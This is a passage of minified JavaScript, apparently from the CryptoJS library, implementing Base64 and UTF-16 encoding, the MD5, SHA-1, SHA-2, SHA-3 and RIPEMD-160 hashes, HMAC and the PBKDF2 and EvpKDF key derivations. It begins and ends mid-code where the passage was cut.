function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 